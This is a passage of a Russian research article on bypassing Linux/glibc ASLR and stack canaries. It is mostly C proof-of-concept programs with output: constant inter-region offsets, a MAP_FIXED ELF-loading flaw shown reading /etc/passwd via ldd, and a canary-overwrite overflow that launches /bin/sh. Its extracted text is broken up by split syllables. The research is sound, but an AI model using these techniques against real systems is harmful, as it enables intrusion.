боль ше некото рой величи ны. В слу чае выделе ния памяти с помощью 
адрес пос ле выделе ния будет находить ся «рядом» с биб лиоте ками или дру‐ 
гими дан ными, выделен ными  . В этих слу чаях вни мание зло умыш ленни‐ 
ка прив лека ют ошиб ки обра бот ки объ ектов на куче, такие как перепол нение
кучи,   и  .

malloc mmap

mmap

mmap

use after free type confusion
Ин терес ное поведе ние биб лиоте ки glibc было замече но, ког да прог рамма

исполь зует  . При пер вом вызове   из потока, соз данно го
,  glibc  вызовет  ,  что бы  соз дать  новую  кучу  для  это го

потока.  В  этом  слу чае  все  выделен ные  с  помощью    адре са  в  потоке
будут находить ся недале ко от сте ка это го же потока. Под робнее этот слу чай
будет рас смот рен в раз деле 5.7.

pthread_create malloc
pthread_creaete mmap

malloc

Не кото рые прог раммы и биб лиоте ки исполь зуют mmap для отоб ражения
фай лов  в  адресное  прос транс тво  про цес са. Эти фай лы могут  быть  исполь‐ 
зованы, нап ример, как кеш или для быс тро го сох ранения (изме нения) дан ных
на дис ке.

Абс трак тный при мер: пусть при ложе ние заг ружа ет MP3‐файл с помощью
mmap.  Адрес  заг рузки  назовем  .  Даль ше  оно  счи тыва ет  из  заг‐ 
ружен ных  дан ных  сме щение  до  начала  зву ковых  дан ных  .  Пусть  в  при‐ 
ложе нии при сутс тву ет ошиб ка про вер ки дли ны получен ного зна чения. Тог да
зло умыш ленник  может  под готовить  спе циаль ным  обра зом  MP3‐файл
и получить дос туп к реги ону памяти, рас положен ному пос ле  .

mmap_mp3
offset

mmap_mp3
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MAP_FIXED и заг рузка ET_DYN ELF-фай лов4.7. 
В ману але   для фла га   написа но сле дующее:mmap MAP_FIXED

MAP_FIXED
Don’t  interpret  addr  as  a  hint:  place  the mapping  at  exactly  that  ad-

dress.  addr must  be  a multiple  of  the  page  size.  If  the memory  region
specified by addr and len overlaps pages of any existing mapping(s), then
the  overlapped  part  of  the  existing mapping(s)  will  be  discarded.  If  the
specified  address  cannot  be  used,  mmap()  will  fail.  Because  requiring
a  fixed  address  for  a  mapping  is  less  portable,  the  use  of  this  option
is discouraged.

Ес ли  зап рашива емый реги он с фла гом MAP_FIXED перек рыва ет  уже сущес‐ 
тву ющие реги оны, резуль тат успешно го выпол нения mmap перепи шет сущес‐ 
тву ющие реги оны.

Та ким  обра зом,  если  прог раммист  допус кает  ошиб ку  в  работе  с 
, воз можно пере опре деле ние реги онов памяти.

MAP_-

FIXED

Ин терес ный при мер такой ошиб ки был най ден в кон тек сте дан ной работы
как в ядре Linux, так и в glibc.

Есть  :  сег менты  ELF‐фай ла  дол жны  сле довать
в заголов ке Phdr в поряд ке воз раста ния адре сов  :

тре бова ние  к  ELF‐фай лам
vaddr

PT_LOAD
The array element specifies a loadable segment, described by p_filesz

and p_memsz. The bytes from the file are mapped to the beginning of the
memory segment. If the segment’s memory size (p_memsz) is larger than
the  file  size  (p_filesz),  the  “extra”  bytes  are  defined  to  hold  the  value  0
and to follow the segment’s initialized area. The file size may not be larger
than  the memory  size.  Loadable  segment entries  in  the program header
table appear in ascending order, sorted on the p_vaddr member.

Од нако  это  тре бова ние  не  про веря ется.  Текущий  код  заг рузки  ELF‐фай ла
таков:

case PT_LOAD:
   struct loadcmd *c = &loadcmds[nloadcmds++];
   c‐>mapstart = ALIGN_DOWN (ph‐>p_vaddr, GLRO(dl_pagesize));
   c‐>mapend = ALIGN_UP (ph‐>p_vaddr + ph‐>p_filesz, GLRO(dl_pag
esize));
...
maplength = loadcmds[nloadcmds ‐ 1].allocend ‐ loadcmds[0].mapstart;
...
for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++
c)
...
/* Map the segment contents from the file.  */
if (__glibc_unlikely (__mmap ((void *) (l‐>l_addr + c‐>mapstart),
                 maplen, c‐>prot,
                 MAP_FIXED|MAP_COPY|MAP_FILE,
                 fd, c‐>mapoff)

Ал горитм обра бот ки всех сег ментов сле дующий:
1. Вы чис лить раз мер заг ружен ного ELF‐фай ла — как адрес окон чания пос‐ 
ледне го сег мента минус адрес начала пер вого.

2. Вы делить память с помощью   для все го ELF‐фай ла с вычис ленным
раз мером, тем самым получив базовый адрес заг рузки ELF‐фай ла.

mmap

3. В слу чае с glibc — изме нить пра ва дос тупа. В слу чае заг рузки из ядра —
осво бодить  реги оны,  обра зующие  дыр ки.  В  этом  пун кте  поведе ние  glibc
и ядра Linux отли чает ся, как было опи сано ранее в раз деле 4.4.

4. Вы делить  память  с  помощью    и  выс тавлен ного фла га 
для  всех  оставших ся  сег ментов,  исполь зуя  адрес,  получен ный
при  выделе нии  пер вого  сег мента,  и  добавив  к  нему  сме щение,  получа‐ 
емое из заголов ка ELF‐фай ла.

mmap MAP_FIXED

Это дает зло умыш ленни ку воз можность сде лать ELF‐файл, один из сег ментов
которо го  может  пол ностью  пере опре делить  сущес тву ющий  реги он  памяти,
нап ример стек потока, кучу или код биб лиоте ки.

При мером уяз вимого при ложе ния может слу жить ути лита  ldd, с помощью
которой  про веря ется  наличие  в  сис теме  необ ходимых  биб лиотек.  Ути лита
исполь зует  интер пре татор  ld.  Бла года ря  най ден ной  проб леме  с  заг рузкой
ELF‐фай лов уда лось выпол нить про изволь ный код, исполь зуя ldd:

blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
blackzert@crasher:~/aslur/tests/evil_elf$

В  дан ном  слу чае  был  про читан  файл  .  Нор маль ный  же  запуск
выг лядит при мер но сле дующим обра зом:

/etc/passwd

blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
   linux‐vdso.so.1 =>  (0x00007ffc48545000)
   libevil.so => ./libevil.so (0x00007fbfaf53a000)
   libc.so.6 => /lib/x86_64‐linux‐gnu/libc.so.6 (0x00007fbfaf14d000)
   /lib64/ld‐linux‐x86‐64.so.2 (0x000055dda45e6000)

В  озна коми тель ных  целях  исходный  код  это го  при мера  при водит ся  в  пап ке
.evil_elf

Воп рос  о    так же  был  под нят  в  сооб щес тве  Linux  (
),  одна ко  на  дан ный  момент  пред‐ 

ложен ный патч не при нят.

MAP_FIXED Hocko,
Michal.  Mm:  introduce  MAP_FIXED_SAFE

Кеш выделен ной памяти4.8. 
В glibc  так же  сущес тву ет мно жес тво  раз ных  кешей,  сре ди  которых  есть  два
наибо лее  инте рес ных  в  кон тек сте  ASLR  —  кеш  для  сте ка  соз дава емо го
потока  и  кеш  для  кучи.  Кеш  для  сте ка  работа ет  сле дующим  обра зом:
по завер шении потока память сте ка не будет осво бож дена, а будет помеще‐ 
на в соот ветс тву ющий кеш. При соз дании сте ка потока glibc сна чала про веря‐ 
ет кеш и, если в нем есть реги он необ ходимой дли ны, исполь зует этот реги‐ 
он.  В  этом  слу чае  обра щения  к    не  пос леду ет  и  новый  поток  будет
исполь зовать  ранее  исполь зуемый  реги он,  име ющий  те  же  самые  адре са.
Если зло умыш ленни ку уда лось получить адрес сте ка потока и он может кон‐ 
тро лиро вать соз дание и уда ление потоков прог раммой, то он может исполь‐ 
зовать  получен ное  зна ние  адре са  для  экс плу ата ции  соот ветс тву ющей  уяз‐ 
вимос ти.  Кро ме  того,  если  при ложе ние  содер жит  неини циали зиро ван ные
перемен ные, их зна чения так же могут быть под кон троль ны зло умыш ленни ку,
что в некото рых слу чаях может при водить к экс плу ата ции.

mmap

Кеш  для  кучи  потока  работа ет  сле дующим  обра зом:  пос ле  завер шения
потока  соз данная  для  него  куча  отправ ляет ся  в  соот ветс тву ющий  кеш.
При сле дующем соз дании кучи для нового потока сна чала про веря ется кеш,
и,  если в  нем есть реги он, он будет исполь зован.  Тог да  так же спра вед ливо
все ска зан ное для сте ка.

ПРИМЕРЫ5. 
Воз можно,    исполь зует ся  и  в  дру гих  слу чаях.  А  зна чит,  обна ружен ная
проб лема при водит к целому клас су потен циаль но уяз вимых при ложе ний.

mmap

Мож но  выделить  нес коль ко  при меров,  наг лядно  показы вающих  най ден‐ 
ные проб лемы.

Сте ки двух потоков5.1. 
В дан ном при мере соз дадим два потока с помощью   и пос чита‐ 
ем раз ницу меж ду локаль ными перемен ными обо их потоков. Исходный код:

pthread_create

int * p_a = 0;
int * p_b = 0;
void *first(void *x)
{
   int a = (int)x;
   p_a = &a;
   sleep(1);
   return 0;
}
void *second(void *x)
{
   int b = (int)x;
   p_b = &b;
   sleep(1);
   return 0;
}
int main()
{
   pthread_t one, two;
   pthread_create(&one, NULL, &first, 0);
   pthread_create(&two, NULL, &second, 0);
   void *val;
   pthread_join(one,&val); 
   pthread_join(two, &val);
   printf("Diff: 0x%x\n", (unsigned long)p_a ‐ (unsigned long)p_b);
   printf("first thread stack variable: %p second thread stack 
vairable: %p\n", p_a, p_b);
   return 0;
}

Вы вод пос ле пер вого запус ка:

blackzert@crasher:~/aslur/tests$ ./threads_stack_constant
Diff: 0x801000
first thread stack variable: 0x7facdf356f44 second thread stack 
vairable: 0x7facdeb55f44

Вы вод пос ле вто рого запус ка:

blackzert@crasher:~/aslur/tests$ ./threads_stack_constant
Diff: 0x801000
first thread stack variable: 0x7f360cebef44 second thread stack 
vairable: 0x7f360c6bdf44

Как  вид но,  при  раз ных  адре сах  перемен ных  раз ность  меж ду  ними  оста ется
неиз менной. В при мере она обоз начена сло вом Diff, сами же зна чения адре‐ 
сов  при водят ся  ниже. Дан ный  при мер  демонс три рует  воз можность  воз дей‐ 
ствия уяз вимого кода из сте ка одно го потока на дру гой поток или на любой
сосед ний реги он памяти — незави симо от работы ASLR.

Стек потока и боль шой буфер, выделен ный с помощью
malloc
5.2. 

Те перь в глав ном потоке при ложе ния выделим боль шой объ ем памяти через
malloc и запус тим новый поток. Пос чита ем раз ницу меж ду адре сом, получен‐ 
ным malloc, и перемен ной в сте ке соз данно го нового потока. Исходный код:

void *ptr;
void * first(void *x)
{
       int a = (int)x;
       int *p_a = &a;
       int pid = getpid();
       printf("Diff:%lx\nmalloc: %p, stack: %p\n", (unsigned long 
long)ptr ‐ (unsigned long long)p_a, ptr, p_a);
       return 0;
}
int main()
{
       pthread_t one;
       ptr = malloc(128 * 4096 * 4096 ‐ 64);
       pthread_create(&one, NULL, &first, 0);
       void *val;
       pthread_join(one,&val);
       return 0;
}

Вы вод пос ле пер вого запус ка:

blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant
Diff:11ec
malloc: 0x7f4374ab2010, stack: 0x7f4374ab0e24

Вы вод пос ле вто рого запус ка:

blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant
Diff:11ec
malloc: 0x7f9b00d4b010, stack: 0x7f9b00d49e24

Опять же, раз ность неиз менна. Дан ный при мер демонс три рует воз можность
воз дей ствия  уяз вимого  кода  при  обра бот ке  буфера  с  боль шим  раз мером
бай тов, выделен ного через malloc, на стек соз данно го потока — вне зависи‐ 
мос ти от работы ASLR.

Mmap и стек потока5.3. 
Вы делим  память  с  помощью mmap  и  запус тим  новый  поток  через  pthread‐
_create.  Пос чита ем  раз ницу  меж ду  адре сом,  выделен ным  через  mmap,
и адре сом перемен ной в сте ке соз данно го потока. Исходный код:

void * first(void *x)
{
   int a = (int)x;
   int *p_a = &a;
   void *ptr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, ‐1
, 0);
   printf("%lx\n%p, %p\n", (unsigned long long)p_a ‐ (unsigned long 
long)ptr, ptr, p_a);
   return 0;
}
int main()
{
   pthread_t one;
   pthread_create(&one, NULL, &first, 0);
   void *val;
   pthread_join(one,&val); 
   return 0;
}

Вы вод пос ле пер вого запус ка:

blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant
87fff34
0x7f35b0e3d000, 0x7f35b963cf34

Вы вод пос ле вто рого запус ка:

blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant
87fff34
0x7f5a1083f000, 0x7f5a1903ef34

Раз ность  неиз менна.  Дан ный  при мер  демонс три рует  воз можность  воз дей‐ 
ствия  уяз вимого  кода  при  обра бот ке  буфера,  выделен ного  через  mmap,
на стек соз данно го потока — вне зависи мос ти от работы ASLR.

Mmap и TLS глав ного потока5.4. 
Вы делим  память  с  помощью  mmap  и  получим  адрес  TLS  глав ного  потока.
Пос чита ем  раз ницу  меж ду  эти ми  адре сами.  Удос товерим ся,  что  зна чение
«канарей ки»  в  сте ке  глав ного  потока  сов пада ет  со  зна чени ем  из  TLS.
Исходный код:

int main(int argc, char **argv, char **envp)
{
   int res;
   char buffer[256];
   sprintf(buffer, "%.255s",argv[0]);
   unsigned long * frame = __builtin_frame_address(0);
   unsigned long * tls;
       res = arch_prctl(ARCH_GET_FS, &tls);
   unsigned long * addr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | 
MAP_PRIVATE, ‐1, 0);
   if (addr == MAP_FAILED)
       return ‐1;
   printf("TLS %p , FRAME %p\n", tls, frame);
   printf(" stack cookie: 0x%lx, from tls 0x%lx\n", frame[‐1], tls[5
]); 
   printf("from mmap to TLS: 0x%lx\n", (char *)tls ‐ (char*)addr);
   unsigned long diff = tls ‐ addr;
   tcbhead_t *head = (tcbhead_t*)&addr[diff];
   printf("cookie from addr: 0x%lx\n", head‐>stack_guard);
   printf("cookie == stack_cookie? %d\n", head‐>stack_guard == frame
[‐1]);
   return 0;
}

Вы вод пос ле пер вого запус ка:

blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant
TLS 0x7f520540c700 , FRAME 0x7ffed15ba130
stack cookie: 0x94905ec857965c00, from tls 0x94905ec857965c00

from mmap to TLS: 0x85c8700
cookie from addr: 0x94905ec857965c00
cookie == stack_cookie? true

Вы вод пос ле вто рого запус ка:

blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant
TLS 0x7f6d4a081700 , FRAME 0x7ffe8508a2f0
stack cookie: 0x51327792302d5300, from tls 0x51327792302d5300

from mmap to TLS: 0x85c8700
cookie from addr: 0x51327792302d5300
cookie == stack_cookie? true

Как вид но, раз ность не меня ется от запус ка к запус ку, а зна чения «канарей ки»
сов пали. Это озна чает, что при наличии соот ветс тву ющей уяз вимос ти мож но
изме нить  «канарей ку»  и  обой ти  эту  защиту.  Нап ример —  при  наличии  уяз‐ 
вимос ти  перепол нения  буфера  в  сте ке  и  уяз вимос ти,  поз воля ющей  писать
память по сме щению от выделен ного с помощью mmap реги она. В рас смот‐ 
ренном при мере сме щение будет рав но  . Этот при мер демонс‐ 
три рует метод обхо да ASLR и «канарей ку».

0x85c8700

Mmap и glibc5.5. 
О  похожем  при мере  уже  говори лось  в  раз деле  4.2,  но  вот  еще  при мер:
выделим память через mmap и получим раз ницу меж ду этим адре сом и фун‐ 
кци ями system и execv из биб лиоте ки glibc — исходный код:

int main(int argc, char **argv, char **envp)
{
   int res;
   system(""); // call to make lazy linking
   execv("", NULL); // call to make lazy linking
   unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, 
MAP_ANON | MAP_PRIVATE, ‐1, 0);
   if (addr == MAP_FAILED)
       return ‐1;
   unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, 
"system");
   unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, 
"execv");
   printf("addr %lx system %lx execv %lx\n", addr, addr_system, 
addr_execv);
   printf("system ‐ addr %lx execv ‐ addr %lx\n", addr_system ‐ addr
, addr_execv ‐ addr);
   return 0;
}

Вы вод пос ле пер вого запус ка:

blackzert@crasher:~/aslur/tests$ ./mmap_libc 
addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860
system ‐ addr 8045390 execv ‐ addr 80cc860

Вы вод пос ле вто рого запус ка:

blackzert@crasher:~/aslur/tests$ ./mmap_libc 
addr 7f534809c000 system 7f53500e1390 execv 7f5350168860
system ‐ addr 8045390 execv ‐ addr 80cc860

Как  вид но,  раз ница  меж ду  выделен ным  реги оном  и  фун кци ями  неиз менна.
Дан ный  при мер  демонс три рует  метод  обхо да  ASLR,  если  уяз вимый  код
работа ет с буфером, выделен ным через mmap. Пос тоян ными будут рас сто‐ 
яния  в  бай тах  не  толь ко  до фун кций  биб лиотек,  но  и  для  дан ных,  что  так же
может быть исполь зовано при экс плу ата ции при ложе ния.

Пе репол нение буфера на сте ке дочер него потока5.6. 
Соз дадим новый поток и перепол ним буфер на сте ке до TLS‐зна чения. Если
аргу мен тов  в  коман дной  стро ке  нет,  не  будем  перепи сывать  «канарей ку»
в TLS, в про тив ном же слу чае перепи шем ее. Эта логика с аргу мен тами была
выб рана,  прос то  что бы мож но  было  показы вать  раз ницу  в  поведе нии  прог‐ 
раммы.

Пе репи сывать будем бай том 0x41. Исходный код:

void pwn_payload() {
   char *argv[2] = {"/bin/sh", 0};
   execve(argv[0], argv, 0);
}
int fixup = 0;
void * first(void *x)
{
   unsigned long *addr;
   arch_prctl(ARCH_GET_FS, &addr);
   printf("thread FS %p\n", addr);
   printf("cookie thread: 0x%lx\n", addr[5]);
   unsigned long * frame = __builtin_frame_address(0);
   printf("stack_cookie addr %p \n", &frame[‐1]);
   printf("diff : %lx\n", (char*)addr ‐ (char*)&frame[‐1]); 
   unsigned long len =(unsigned long)( (char*)addr ‐ (char*)&frame[‐
1]) + fixup;
   // example of exploitation
   // prepare exploit
   void *exploit = malloc(len);
   memset(exploit, 0x41, len);
   void *ptr = &pwn_payload;
   memcpy((char*)exploit + 16, &ptr, 8);
   // exact stack‐buffer overflow example
   memcpy(&frame[‐1], exploit, len);
   return 0;
}
int main(int argc, char **argv, char **envp)
{
   pthread_t one;
   unsigned long *addr;
   void *val;
   arch_prctl(ARCH_GET_FS, &addr);
   if (argc > 1)
       fixup = 0x30;
   printf("main FS %p\n", addr);
   printf("cookie main: 0x%lx\n", addr[5]);
   pthread_create(&one, NULL, &first, 0);
   pthread_join(one,&val);
   return 0;
}

В  дан ном  при мере  защите  уда лось  обна ружить  перепол нение  на  сте ке
и  завер шить  при ложе ние  с  ошиб кой  до  перех вата  управле ния  зло умыш‐ 
ленни ком. А теперь переза пишем эта лон ное зна чение «канарей ки»:

blackzert@crasher:~/aslur/tests$ ./thread_stack_tls
main FS 0x7fa0e8615700
cookie main: 0xb5b15744571fd00
thread FS 0x7fa0e7e2f700
cookie thread: 0xb5b15744571fd00
stack_cookie addr 0x7fa0e7e2ef48 
diff : 7b8
*** stack smashing detected ***: ./thread_stack_tls terminated
Aborted (core dumped)

Во вто ром слу чае мы успешно перепи сали «канарей ку» и выпол нилась фун‐ 
кция  , с запус ком интер пре тато ра sh.pwn_payload

blackzert@crasher:~/aslur/tests$ ./thread_stack_tls  1
main FS 0x7f4d94b75700
cookie main: 0x2ad951d602d94100
thread FS 0x7f4d94385700
cookie thread: 0x2ad951d602d94100
stack_cookie addr 0x7f4d94384f48
diff : 7b8
$ ^D
blackzert@crasher:~/aslur/tests$

Дан ный  при мер  демонс три рует  метод  обхо да  защиты  от  перепол нения
на  сте ке.  Для  успешной  экс плу ата ции  зло умыш ленни ку  необ ходимо  иметь
воз можность  переза писать  дос таточ ное  чис ло  бай тов,  что бы  переза писать
эта лон ное  зна чение  «канарей ки».  В  пред став ленном  при мере  зло умыш‐ 
ленни ку  необ ходимо  переза писать  как  минимум  0x7b8+0x30  байт,  что  рав‐ 
но 2024 байт.

Стек потока и буфер малень кого раз мера, выделен ный
с помощью malloc
5.7. 

Те перь соз дадим поток, в нем выделим память с помощью malloc и пос чита‐ 
ем раз ность с локаль ной перемен ной в этом потоке. Исходный код:

void * first(void *x)
{
       int a = (int)x;
       int *p_a = &a;
   void *ptr;
       ptr = malloc(8);
   printf("%lx\n%p, %p\n", (unsigned long long)ptr ‐ (unsigned long 
long)p_a, ptr, p_a);
       return 0;
}
int main()
{
       pthread_t one;
       pthread_create(&one, NULL, &first, 0);
       void *val;
       pthread_join(one,&val);
       return 0;
}

Пер вый запуск прог раммы:

blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff844e98c
0x7f20480008c0, 0x7f204fbb1f34

И вто рой запуск прог раммы:

blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff94a598c
0x7fa3140008c0, 0x7fa31ab5af34

В этом слу чае раз ность не сов пала. При чем от запус ка к запус ку она не сов‐ 
падет. Поп робу ем разоб рать ся почему.

Пер вое,  что  сле дует  заметить:  адрес  ука зате ля,  получен ного  malloc,
не соот ветс тву ет адре су кучи [heap] про цес са.

Glibc соз дает новую кучу для каж дого соз данно го с помощью 
  потока.  Ука затель  на  эту  кучу  лежит  в  TLS  потока,  поэто му  любой  поток

выделя ет  память  из  «сво ей»  кучи,  что  дает  выиг рыш  в  про изво дитель нос ти:
не надо обес печивать син хро низа цию потоков в слу чае кон курен тно го malloc.

pthread_cre‐
ate

Но почему адрес «слу чаен»?
Glibc при выделе нии новой кучи исполь зует  , при чем раз мер зависит

от  кон фигура ции.  В  моем  слу чае  раз мер  кучи  рав няет ся  64  Мбайт.  Адрес
начала  кучи  дол жен  быть  выров нен  на  64 Мбайт.  Поэто му  сна чала  выделя‐ 
ется  128  Мбайт,  в  выделен ном  диапа зоне  выделя ется  выров ненный
кусок 64 Мбайт, а остатки осво бож дают ся, и меж ду получен ным адре сом кучи
и  бли жай шим  реги оном,  выделен ным  ранее  с  помощью  ,  обра зует ся
«дыр ка».

mmap

mmap

Слу чай ность  же  вно сит  само  ядро  еще  при  выборе  :  этот
адрес не выров нен на 64 Мбайт, как и все выделе ния памяти  , иду щие
до вызова рас смат рива емо го  .

mmap_based
mmap

malloc
Не зави симо  от  при чины  тре бова ния  к  выров неннос ти  адре са  это  при‐ 

водит к очень инте рес ному эффекту — появ ляет ся воз можность перебо ра.
Из вес тно,  что  адресное  прос транс тво  про цес са  для  x86‐64  опре деле но

в ядре Linux как 47bits minus one guard page, то есть с округле нием 2  (здесь
и  далее  для  прос тоты  мы  спе циаль но  опус тим  вычита ние  раз мера  одной

стра ницы при вычис лении раз меров). 64 Мбайт — это  , и зна чащих битов

оста ется 47 – 26 = 21.  То есть может быть  все го 2   раз личных  куч  вто рос‐ 
тепен ных потоков.

47

226

21

При необ ходимос ти это сущес твен но сок раща ет мно жес тво перебо ра.
Бла года ря  выбору    адре са  извес тным  обра зом мож но  утвер ждать,

что  куча  пер вого  потока,  соз данно го  через  ,  будет  выб рана
в 64 Мбайт, близ ких к вер хне му диапа зону адре сов. А точ нее, рядом со все ми
заг ружен ными биб лиоте ками, заг ружен ными фай лами и подоб ным.

mmap
pthread_create

Иног да воз можно вычис лить общий объ ем памяти, выделен ной до вызова
завет ного  .  В  нашем  слу чае  заг ружены  толь ко  glibc,  ld  и  соз дан  стек
для потока. Поэто му это зна чение мало.

malloc

В  раз деле  6  будет  показа но,  как  выбира ется  адрес  ,  одна ко
сей час  нем ного  допол нитель ной  информа ции:    выбира ется
с  энтро пией  от  28  до  32  бит  в  зависи мос ти  от  нас трой ки  ядра  при  ком‐ 
пиляции (по умол чанию 28 бит). И на это зна чение отста ет некото рая вер хняя
гра ница.

mmap_base
mmap_base

Та ким обра зом, в боль шой доле слу чаев стар шие 7 бит адре са будут 0x7f
и  в  ред ких  слу чаях  0x7e.  Это  дает  нам  еще  7  бит  опре делен ности.  Ито го

получа ется 2   воз можных  вари антов  выбора  кучи  для  пер вого  потока.  Чем
боль ше потоков соз дано, тем боль ше будет умень шать ся это чис ло для сле‐ 
дующе го выбора кучи.

14

По кажем это поведе ние сле дующим кодом на C:

void * first(void *x)
{
   int a = (int)x;
   void *ptr;
   ptr = malloc(8);
   printf("%p\n", ptr );
   return 0;
}
int main()
{
   pthread_t one;
   pthread_create(&one, NULL, &first, 0);
   void *val;
   pthread_join(one,&val);
   return 0;
}

И запус тим эту прог рамму дос таточ ное чис ло раз, собирая ста тис тику адре‐ 
сов, кодом на Python:

import subprocess
d = {}
def dump(iteration, hysto):
   print 'Iteration %d len %d'%(iteration, len(hysto))
   for key in sorted(hysto):
       print hex(key), hysto[key]
i = 0
while i < 1000000:
   out = subprocess.check_output(['./t'])
   addr = int(out, 16)
   #omit page size
   addr >>= 12
   if addr in d:
       d[addr] += 1
   else:
       d[addr] = 1
   i += 1
dump(i,d)

Дан ный  код  дос таточ ное  чис ло  раз  запус кает  прос тую  прог рамму  ,
которая  соз дает  новый  поток,  выделя ет  в  ней  буфер  с  помощью  malloc
и выводит адрес выделен ного буфера. Пос ле того как прог рамма отра бота‐ 
ла, адрес счи тыва ется и счи тает ся, сколь ко раз этот адрес встре чал ся за вре‐ 
мя работы. В резуль тате скрипт собира ет 16 385 раз личных адре сов, что рав‐ 

но 2  + 1. Столь ко попыток может сде лать зло умыш ленник в худ шем слу чае
для того, что бы уга дать адрес кучи рас смат рива емой прог раммы.

./t
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Есть еще вари ант «стек потока и боль шой буфер, выделен ный с помощью
»,  но  он  мало  чем  отли чает ся  от  опи сан ного.  Единс твен ное  отли чие:

в  слу чае  боль шого  раз мера  буфера  сно ва  вызовет ся mmap,  и  слож но  ска‐ 
зать,  куда  попадет  выделен ный  реги он, —  он  может  запол нить  обра зовав‐ 
шуюся дыр ку или встать перед кучей.

malloc

Продолжение статьи →
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ПРЕДСКАЗАНИЕ
СЛУЧАЙНОСТИ
ИЗУЧАЕМ ASLR В LINUX И GNU LIBC,

ОБХОДИМ ЗАЩИТУ АДРЕСНОГО
ПРОСТРАНСТВА И STACK CANARY

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Кеш сте ка и кучи потока5.8. 
В этом при мере соз дадим поток и выделим в нем память с помощью  .
Запом ним адре са сте ка потока и ука зате ля, получен ного с помощью  .
Ини циали зиру ем  некото рую  перемен ную  в  сте ке  зна чени ем  0xdeadbeef.
Завер шим  поток  и  соз дадим  новый,  выделим  память  с  помощью  malloc.
Срав ним  адре са  и  зна чения  перемен ной,  на  этот  раз  неини циали зиро ван‐ 
ной. Исходный код:

malloc
malloc

void * func(void *x)
{
   long a[1024];
   printf("addr: %p\n", &a[0]);
   if (x)
       printf("value %lx\n", a[0]);
   else
   {
       a[0] = 0xdeadbeef;
       printf("value %lx\n", a[0]);
   }
   void * addr = malloc(32);
   printf("malloced %p\n", addr);
   free(addr);
   return 0;
}
int main(int argc, char **argv, char **envp)
{
   int val;
   pthread_t thread;
   pthread_create(&thread, NULL, func, 0);
   pthread_join(thread, &val);
   pthread_create(&thread, NULL, func, 1);
   pthread_join(thread, &val);
   return 0;
}

Ре зуль тат работы прог раммы:

blackzert@crasher:~/aslur/tests$ ./pthread_cache 
addr: 0x7fd035e04f40
value deadbeef
malloced 0x7fd030000cd0
addr: 0x7fd035e04f40
value deadbeef
malloced 0x7fd030000cd0

На  при мере  вид но,  что  адре са  локаль ных  перемен ных  в  сте ке  для  потоков,
соз данных  друг  за  дру гом,  не  отли чают ся.  Так же  не  отли чают ся  и  адре са
перемен ных,  выделен ных  для  них  с  помощью malloc.  А  некото рые  зна чения
локаль ных  перемен ных  пер вого  потока  все  еще  дос тупны  вто рому  потоку.
Зло умыш ленник  может  исполь зовать  это  при  экс плу ата ции  уяз вимос ти
неини циали зиро ван ных  перемен ных  ( ).  Кеш  хоть
и уско ряет работу при ложе ния, одна ко пре дос тавля ет воз можнос ти для экс‐ 
плу ата ции и обхо да ASLR.

Use  of  Uninitialized  Variable

ВЫЧИСЛЕНИЕ КАРТЫ АДРЕСНОГО ПРОСТРАНСТВА ПРОЦЕССА6. 
Ког да  соз дает ся  новый  про цесс,  ядро  сле дует  алго рит му  для  опре деле ния
его адресно го прос транс тва:
1. Пос ле вызова   вир туаль ная память про цес са пол ностью очи щает ся.execve
2. Соз дает ся  самая  пер вая  ,  опи сыва ющая  стек  про цес са  ( ).

Изна чаль но его адрес выбира ется как 2  –   (где   — раз‐ 
мер стра ницы, в слу чае x86‐64 рав ный 4096), а впос ледс твии сдви гает ся
на  некото рую  слу чай ную  величи ну  ,  не  пре выша ющую  16  Гбайт
(про исхо дит это доволь но поз дно, пос ле выбора базы бинар ного фай ла,
поэто му  воз можны  инте рес ные  эффекты:  если  бинар ный файл  при ложе‐ 
ния зай мет всю память, стек ока жет ся рядом с базовым адре сом бинар‐ 
ного фай ла).

vma stack_base
47 pagesize pagesize

random1

3. Яд ро  выбира ет    —  адрес,  отно ситель но  которо го  впос ледс‐ 
твии будут заг ружены все биб лиоте ки в адресном прос транс тве про цес са.
Опре деля ется этот адрес как   –   – 128 Мбайт, где 

  —  слу чай ная  величи на,  вер хняя  гра ница  которой  зависит  от  нас‐ 
трой ки ядра и име ет пре дел от 1 до 16 Тбайт.

mmap_base

stack_base random2 ran‐
dom2

4. Яд ро про бует заг рузить бинар ный файл прог раммы. Если файл явля ется
PIE (не завися щим от базово го адре са заг рузки), базовый адрес выбира‐ 

ется как (2  – 1) * 2/3 +  , где слу чай ная величи на   так же
опре деля ется  кон фигура цией  ядра  и  име ет  вер хний  пре дел
от 1 до 16 Тбайт.

47 random3 random3

5. Ес ли  файл  нуж дает ся  в  динами чес ки  под гру жаемых  биб лиоте ках,  ядро
про бует  заг рузить  прог рамму‐интер пре татор,  которая  дол жна  будет  заг‐ 
рузить все необ ходимые биб лиоте ки и про извести ини циали зации. Обыч‐ 
но  в  качес тве  интер пре тато ра  в  ELF‐фай лах  ука зан  ld  из  glibc.  Адрес
выбира ется отно ситель но  .mmap_base

6. Яд ро  уста нав лива ет  кучу  нового  про цес са  как  конец  заг ружен ного  ELF‐
